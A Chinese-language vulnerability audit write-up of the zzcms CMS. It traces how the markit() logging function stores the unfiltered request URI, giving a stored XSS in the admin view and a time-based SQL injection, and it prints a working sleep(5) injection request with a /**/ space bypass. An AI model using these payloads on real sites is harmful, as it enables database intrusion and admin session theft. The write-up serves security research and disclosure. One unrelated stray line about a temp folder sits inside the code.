前言
这套CMS被大手子们审计烂了。。。我这个菜鸡只能抢口剩汤喝喝。。
存储型XSS
这套CMS搭建完成后是这样的
先从功能点入手,注册个账号,看看有什么权限 用户中心显示的功能比较少,但是目录已经出来了domain/user/
进目录看看文件,其中ask.php
这个文件引起了我的注意
直接访问看看
哦豁?空的?眉头一皱发现没那么简单
就从这个文件开始入手
首先在48行左右发现了
GET
传递的
do
参数
<?php
$do=isset($_GET['do'])?$_GET['do']:'';
switch ($do){
case "add";add();break;
case "modify";modify();break;
}如果找不到临时目录的的可以这样操作:在地址栏输入%temp%就行了
分别看下两个函数干了什么
//add函数function add(){$tablename="zzcms_ask";include("checkaddinfo.php");?><div class="admintitle">发布问答信息div> <form action="?do=save" method="post" name="myform" id="myform" onSubmit="return CheckForm();"> <table width="100%" border="0" cellpadding="3" cellspacing="1"> <tr> <td width="18%" align="right" class="border2">类别<font color="#FF0000">(必填)font>:td> <td width="82%" class="border2"> <?php $sql = "select * from zzcms_askclass where parentid<>0 order by xuhao asc";$rs=query($sql);?><script language = "JavaScript" type="text/JavaScript">var onecount;subcat = new Array(); <?php $count = 0; while($row = fetch_array($rs)){ ?>subcat[<?php echo $count?>] = new Array("<?php echo trim($row["classname"])?>","<?php echo trim($row["parentid"])?>","<?php echo trim($row["classid"])?>"); <?php $count = $count + 1; } ?>onecount=<?php echo $count ?>;function changelocation(locationid){ document.myform.smallclassid.length = 1; for (i=0;i < onecount; i++){ if (subcat[i][1] == locationid){ document.myform.smallclassid.options[document.myform.smallclassid.length] = new Option(subcat[i][0], subcat[i][2]); } } }script> <select name="bigclassid" class="biaodan" onChange="changelocation(document.myform.bigclassid.options[document.myform.bigclassid.selectedIndex].value)" size="1"> <option value="" selected="selected">请选择大类别 option> <?php $sql = "select * from zzcms_askclass where parentid=0 order by xuhao asc"; $rs=query($sql); while($row = fetch_array($rs)){ ?> <option value="<?php echo $row["classid"]?>"><?php echo $row["classname"]?>option> <?php } ?> select> <select name="smallclassid" class="biaodan"> <option value="0">不指定小类option> select>td> tr> <tr> <td align="right" class="border">标题<font color="#FF0000">(必填)font>:td> <td class="border"> <input name="title" type="text" id="title" size="50" maxlength="255" class="biaodan"> <span id="quote">span> td> tr> <tr id="trcontent"> <td align="right" class="border2" >内容<font color="#FF0000">(必填)font>:td> <td class="border2" > <textarea name="content" id="content">textarea> <script type="text/javascript">CKEDITOR.replace('content');script>td> tr> <tr id="trkeywords"> <td align="right" class="border" >悬赏积分:td> <td class="border" ><select name="jifen" id="jifen"> <option value="0" selected="selected">0option> <option value="5">5option> <option value="10">10option> <option value="20">20option> <option value="30">30option> select> <?php $rs=query("select totleRMB from zzcms_user where username='" .$_COOKIE["UserName"]. "'"); $row=fetch_array($rs); echo "您的积分:".$row['totleRMB']; ?> td> tr> <tr> <td align="right" class="border"> td> <td class="border"> <input name="Submit" type="submit" class="buttons" value="发布"> <input name="action" type="hidden" value="add">td> tr> table>form><?php }
简单看了下没多大问题,再来看看第二个函数
//modify函数function modify(){global $username;?><div class="admintitle">修改问答信息div><?php $page = isset($_GET['page'])?$_GET['page']:1;checkid($page);$id = isset($_GET['id'])?$_GET['id']:0;checkid($id,1);$sqlzx="select * from zzcms_ask where id='$id'";$rszx =query($sqlzx); $rowzx = fetch_array($rszx);if ($id<>0 && $rowzx["editor"]<>$username) {markit();showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');}?> .......省略
首先获取了下
page
和
id
并使用
checkid
函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用
markit();
函数,并且返回警告信息
另外注意到在
showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
这行上面调用了
markit()
这个函数,跟进去看看
在
inc\function.php
的138行左右
//$_SERVER['HTTP_REFERER'];//上页来源
function markit()
{
$userip = $_SERVER["REMOTE_ADDR"];
//$userip=getip();
$url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");
}
//$url为当前页的URI(URL+参数),这个可控
//$_COOKIE["UserName"]为cookies中的用户名,
拼接了
SQL语句,并且没有过滤
,总结下目前情况
- 首先获取了下
page
和id
并使用checkid
函数进行了检查,虽然下面有拼接SQL
语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit()
函数,并且返回警告信息。 - 要触发
markit()
函数需要满足条件如下do
参数为modify
page
参数不能为你发布的且为数字id
参数同上
<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
那么构造
payload
如下
domain/user/ask.php?do=modify&page=1&id=1&aaa=
然后使用
burpsuite
发包
可以看到触发了警告信息
当管理员查看不良操作时,熟悉的弹框就出来了 SQL注入 还是markit()
函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?
先看看这个query
函数怎么执行的
mysqli_query
,那么尝试构造下
payload
吧
原始SQL语句
insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')
既然只有
$url
可控,那么直接构造传入的URI就可以了,先直接让数据库执行
sleep()
函数
insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#
OK 成功,那么直接构造就行了
GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1
结果发现并没有执行
在函数中dump下$url
看看原因
那么直接用注释/**/
替换
成功睡眠5秒,证明存在SQL注入。